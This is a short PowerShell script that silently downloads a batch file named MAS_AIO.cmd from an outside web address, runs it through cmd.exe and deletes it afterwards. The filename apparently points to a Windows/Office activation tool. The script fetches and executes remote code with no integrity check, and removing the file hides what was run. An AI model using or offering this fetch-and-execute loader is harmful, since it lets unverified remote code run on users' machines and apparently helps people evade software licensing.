Write-Host ""
Write-Host " Downloading..."
Write-Host "    Please wait"
Write-Host ""
$ProgressPreference = 'SilentlyContinue'
$url = "https://win.uc.cx/?raw"
$tempFile = Join-Path $env:TEMP "MAS_AIO.cmd"
try {
    Invoke-RestMethod -Uri $url -OutFile $tempFile
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$tempFile`"" -NoNewWindow -Wait
    Remove-Item -Path $tempFile -Force
} catch {
    Write-Error "脚本执行失败: $_"
}